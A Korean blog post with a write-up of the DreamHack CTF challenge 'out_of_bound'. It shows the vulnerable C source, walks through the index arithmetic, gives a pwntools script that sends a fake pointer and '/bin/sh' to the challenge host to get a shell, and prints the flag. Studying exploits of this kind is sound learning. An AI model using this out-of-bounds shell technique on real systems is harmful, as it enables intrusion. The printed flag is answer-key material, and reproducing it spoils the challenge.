이 영역을 누르면 첫 페이지로 이동
포렌식 & 개발 이야기 - Forensics & Development 블로그의 첫 페이지로 이동

포렌식 & 개발 이야기 - Forensics & Development

페이지 맨 위로 올라가기

포렌식 & 개발 이야기 - Forensics & Development

Pental - Forensics / iOS / Windows / Android / Kakaotalk / Telegram / Etc

[DreamHack] out_of_bound

  • 2024.07.11 13:10
  • Best of Best
글 작성자: pental

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

char name[16];

char *command[10] = {
    "cat",
    "ls",
    "id",
    "ps",
    "file ./oob"
};
void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main()
{
    int idx;

    initialize();

    printf("Admin name: ");
    read(0, name, sizeof(name));
    printf("What do you want?: ");

    scanf("%d", &idx);

    system(command[idx]);

    return 0;
}

간단한 out_of_bound 취약점이 펑펑 터지는 문제이다.

main함수에서는 index를 정수형으로 선언하고, 전역변수로 name에 16의 크기를 주었다.

그리고 read 함수를 통해서 name 크기만큼 입력 받을 수 있다고 한다.

# name Address = 0x0804a0ac
# command Address = 0x0804a060

Name변수와 command의 변수의 주소값은 각각 위와 같다.

name변수에 값을 입력 받고 return값 위까지 4바이트가 더 붙는다.

name = (0x804a0ac + 4) => 8 + 4 = 12bytes + b"/bin/sh" = 4bytes = 16bytes
 
이렇게 16바이트를 채워주고, index의 참조 범위는 p32(px804a060) - p32(0x804a0ac)
 
> 0x08048737 <+108>: mov eax,DWORD PTR [eax*4+0x804a060]

 
eax * 4 + 0x804a060 ==> index Reference / 4 = 19
 
따라서 19만큼을 넣어주면 취약점이 펑펑~
 
from pwn import *

p = remote("host3.dreamhack.games", 19391)
p.recvuntil("Admin name: ")
payload = p32(0x804a0ac + 4) + b"/bin/sh"
p.sendline(payload)
p.recvuntil("What do you want?: ")
p.sendline("19")
p.interactive()

'''
# name Address = 0x0804a0ac
# command Address = 0x0804a060
name = (0x804a0ac + 4) => 8 + 4 = 12bytes + b"/bin/sh" = 4bytes = 16bytes
index Reference = p32(px804a060) - p32(0x804a0ac)

> 0x08048737 <+108>:   mov    eax,DWORD PTR [eax*4+0x804a060]

eax * 4 + 0x804a060 ==> index Reference / 4 = 19

DH{2524e20ddeee45f11c8eb91804d57296}
'''

 

저작자표시 비영리 (새창열림)

'Best of Best' 카테고리의 다른 글

[DreamHack] off_by_one_001  (0) 2024.07.11
[DreamHack] cmd_center  (0) 2024.07.11
[DreamHack] Return Address Overwrite  (1) 2024.07.09
[BOB 교육] 실무로 알아보는 개인정보 안전성 확보조치와 유출사고 대응 - 김두민 멘토님  (0) 2024.07.03
[BOB 교육] 금융보안 인프라 - 이현정 멘토님  (0) 2024.07.03

댓글

이 글 공유하기

  • 구독하기

    구독하기

  • 카카오톡

    카카오톡

  • 라인

    라인

  • 트위터

    트위터

  • Facebook

    Facebook

  • 카카오스토리

    카카오스토리

  • 밴드

    밴드

  • 네이버 블로그

    네이버 블로그

  • Pocket

    Pocket

  • Evernote

    Evernote

다른 글

  • [DreamHack] off_by_one_001

    [DreamHack] off_by_one_001

    2024.07.11
  • [DreamHack] cmd_center

    [DreamHack] cmd_center

    2024.07.11
  • [DreamHack] Return Address Overwrite

    [DreamHack] Return Address Overwrite

    2024.07.09
  • [BOB 교육] 실무로 알아보는 개인정보 안전성 확보조치와 유출사고 대응 - 김두민 멘토님

    [BOB 교육] 실무로 알아보는 개인정보 안전성 확보조치와 유출사고 대응 - 김두민 멘토님

    2024.07.03
다른 글 더 둘러보기

정보

포렌식 & 개발 이야기 - Forensics & Development 블로그의 첫 페이지로 이동

포렌식 & 개발 이야기 - Forensics & Development

  • 포렌식 & 개발 이야기 - Forensics & Development의 첫 페이지로 이동

검색

메뉴

  • 홈
  • 태그
  • 미디어로그
  • 위치로그
  • 방명록

카테고리

  • Category (452)
    • Forensics (105)
      • Magnet AXIOM (28)
      • Digital Forensics Informati.. (9)
      • Iphone Forensics (24)
      • DFC (7)
      • 디지털포렌식전문가2급 자격증 (10)
      • FTK ACE 자격증 (7)
    • 이것저것 (7)
      • Ubuntu (6)
      • 디스코드 봇 (4)
      • Volatility GUI (2)
    • CTF (32)
      • NEWSECU (14)
      • CTF-d (5)
      • Puzzel - Network Forensics (2)
      • Security Traps (2)
      • system32.kr (5)
      • HMCTF (4)
    • Programming (260)
      • C (10)
      • Python (11)
      • 백준 (206)
      • 프로그래머스 (32)
    • 그냥 개발 및 잡담 (16)
      • Docker (2)
      • Google Cloud (3)
      • OS 개발 (3)
    • Best of Best (20)

최근 글

인기 글

댓글

공지사항

아카이브

태그

  • 포렌식
  • pental
  • 디지털포렌식
  • 프로그래머스
  • 파이썬
  • Forensics
  • axiom
  • 백준
  • 전체 보기…

정보

pental의 포렌식 & 개발 이야기 - Forensics & Development

포렌식 & 개발 이야기 - Forensics & Development

pental

블로그 구독하기

  • 구독하기
  • RSS 피드

방문자

  • 전체 방문자
  • 오늘
  • 어제

티스토리

  • 티스토리 홈
  • 이 블로그 관리하기
  • 글쓰기
Powered by Tistory / Kakao. Copyright © pental.

티스토리툴바